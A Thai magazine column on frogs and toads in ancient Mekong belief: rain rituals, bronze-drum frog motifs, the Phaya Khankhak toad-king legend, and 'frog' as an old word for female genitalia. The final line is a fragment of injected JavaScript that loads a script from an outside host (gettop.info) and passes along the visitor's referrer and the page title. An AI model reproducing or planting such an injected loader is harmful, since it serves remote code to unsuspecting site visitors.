มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 3 ตุลาคม 2557

 

คนกินกบ

เมื่อหลายพันปีมาแล้ว

 

          กบ เป็นสัตว์ครึ่งบกครึ่งน้ำเมื่อหลายพันปีมาแล้ว และเป็นสัตว์ศักดิ์สิทธิ์ด้วย คนจึงกินกบเพื่อเซ่นผีและเพิ่มพลังให้ตนเองและชุมชนรอดพ้นจากผีร้าย

          มักพบเมื่อฝนตกทุกครั้งไป คนทั้งหลายเลยเชื่อว่ากบคือผู้นำน้ำจากฟ้าให้ไหลหล่นลงมา อันเป็นสิ่งที่มนุษย์ในเขตร้อนชื้นต้องการใช้ดำรงชีวิต

 

เซ่นกบ

          จึงมีพิธีกรรมบูชายัญกบ คือเซ่นผีด้วยกบ แล้วมีการละเล่นเต้นฟ้อนโดยเอาโคลนมาทาเนื้อตัวแข้งขาให้มีลวดลายอย่างกบ แล้วทำท่าย่อขาแข้งเหมือนกบ พร้อมกับเซ่นวักเครื่องมือทำมาหากิน เช่น มีด พร้า ขวาน ไถ เป็นต้น

          เครื่องมือสัมฤทธิ์ เช่น กลองทองมโหระทึก จึงมีรูปกบเป็นสัญลักษณ์สำคัญประดับหน้ากลอง ฯลฯ

          ภาพเขียนบนเพิงผากับผนังถ้ำมีรูปคนทำท่าคล้ายกบ จะพบทั่วไปทั้งในไทยและประเทศใกล้เคียง แต่ที่มีมากและยิ่งใหญ่สุดอยู่ในมณฑลกวางสี ทางตอนใต้ของจีน ซึ่งเป็นหลักแหล่งของตระกูลภาษาลาว-ไทยเก่าแก่สุด เมื่อ 3,000 ปีมาแล้ว

 

คางคก, คันคาก

          คางคกที่ชาวบ้านสองฝั่งโขงเรียกคันคาก (คันคาก เป็นคำลาว ตรงกับคำไทยภาคกลางว่า คางคก)เป็นสัตว์ครึ่งบกครึ่งน้ำเช่นเดียวกับกบและแสดงตัวพร้อมกับฝนเช่นเดียวกัน

          ชาวบ้านสองฝั่งโขงจึงยกย่องคางคกว่าเป็นสัตว์ศักดิ์สิทธิ์ มีคุณเอาน้ำฝนมาให้คน แล้วแต่งนิทานเรื่องพญาคันคาก  เป็นที่รู้จักแพร่หลายทั่วไปสืบจนทุกวันนี้

          นิทานเรื่องพญาคันคากของคนหลายเผ่าพันธุ์บริเวณลุ่มน้ำโขง มีเรื่องย่อต่อไปนี้

          พญาแถนเป็นใหญ่บนฟ้าที่มีห้วงน้ำขังอยู่ตามเมฆหมอกมหาศาล แต่คราวหนึ่งไม่ปล่อยน้ำเป็นฝนตกตามฤดูกาลสู่โลกมนุษย์

          คนทั้งหลายเดือดร้อน จึงวิงวอนให้พญาคันคากแก้ไข มีเล่าไว้ในสารานุกรมฯ ภาคอีสาน (เล่ม 9 หน้า 2898) จะคัดมาอย่างสรุปรวบรัดดังนี้

          พญาคันคากคิดหาทางขึ้นฟ้าไปเมืองแถน ได้ไปตามพวก ครุฑ นาค ปลวก มาก่อภูเขาทำทางแล้วขึ้นไปรบพระยาแถน

          พญาคันคากเสกเป่าให้มีกบเขียดมากมายเหมือนกองทัพยกขึ้นเมืองแถน ทำให้ชาวแถนตกใจกลัวอย่างยิ่ง พระยาแถนก็เสกเป่าให้มีงูร้ายมากมายหลายชนิด ออกจับกบและเขียดกิน

          พญาคันคากแก้ไขโดยเสกให้ครุฑและกามาจิกกินงู พระยาแถนเสกให้หมามาวิ่งไล่จับครุฑและกากิน

          พญาคันคากให้เสือโคร่งออกมาจับกินหมา

          พระยาแถนยิงธนูให้กลายเป็นห่าฝนหอกดาบตกลงมาเสียบคนล้มตายจำนวนมาก พญาคันคากเนรมิตปีกให้แผ่กว้างเพื่อกำบังห่าฝนหอกดาบ และเสกเป่าให้ผู้คนที่ล้มตายกลับฟื้นคืนชีพขึ้นมาอีกครั้งหนึ่ง

          พญาคันคากกับพระยาแถน ต่างก็มีคาถาอาคมเสมอกัน ไม่มีใครแพ้ใครชนะ จึงได้ออกชนช้าง ในที่สุดพญาแถนแพ้

          พญาคันคากมีบัญชาให้พระยาแถนยอมให้นาคมาเล่นน้ำบนฟ้า น้ำจะได้ล้นกระฉอกเป็นฝนตกบนพื้นพิภพดังเดิม

          สัตว์ต่างๆที่พญาคันคากกับพระยาแถนเสกเป่าสู้กันจึงเป็นศัตรูกันตั้งแต่นั้นมา

 

กบ เหมือนอวัยวะเพศหญิง

          กบ หมายถึงอวัยวะเพศหญิง ใช้เป็นคำเรียกอวัยวะเพศหญิงดั้งเดิมเก่าแก่มาก เพราะคนแต่ก่อนมองว่าอวัยวะเพศหญิงมีรูปร่างคล้ายกบ

          น่าจะมาจากความเชื่อในศาสนาผีราว 3,000 ปีมาแล้ว ว่ากบเป็นสัตว์ศักดิ์สิทธิ์ให้กำเนิดฝนตกจนชุมชนมีความอุดมสมบูรณ์ เสมือนอวัยวะเพศหญิงให้กำเนิดคน

          เขียด หมายถึงอวัยวะเพศเด็กหญิงน้อยๆ เพราะเขียดเป็นลูกกบ หรือกบน้อย

          บางทีเรียกเด็กหญิงน้อยๆ นั้นว่า อีเขียดน้อย หมายถึงอวัยวะเพศเท่าเขียดน้อย

“คนครึ่งกบ” ภาพเปรียบเทียบบนลายทอผ้าของคนหลายชาติพันธุ์ เช่น ชาวลาว-ไทย, ชาวอิบาน (ในซาราวัก มาเลเซีย), ชาวอิฟูเกา (ทางเหนือของเกาะลูซอน ฟิลิปปินส์) กับ (แถวขวาสุด) ภาพเขียนสีคนทำท่ากบของชาวจ้วงที่ผาลาย (ในกวางสี จีน)

คันคาก (คางคก) หรือกบ เป็นสัตว์ศักดิ์สิทธิ์ ราว 3,000 ปีมาแล้ว บันดาลฝนเพื่อให้คนทั้งหลายเฮ็ดไฮ่ เฮ็ดนา (ซ้าย) คันคาก สลักหิน ที่ทุ่งไหหิน เชียงขวาง ในลาว (ขวาบน) กบหรือคางคกที่หลุดจากหน้ากลองทองมโหระทึก พบที่ควนลูกปัด อ. คลองท่อม จ. กระบี่ (ขวาล่าง) คันคากหรือกบบนหน้ากลองทองมโหระทึก พบที่ ต. ท่าเรือ อ. เมือง จ. นครศรีธรรมราช

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;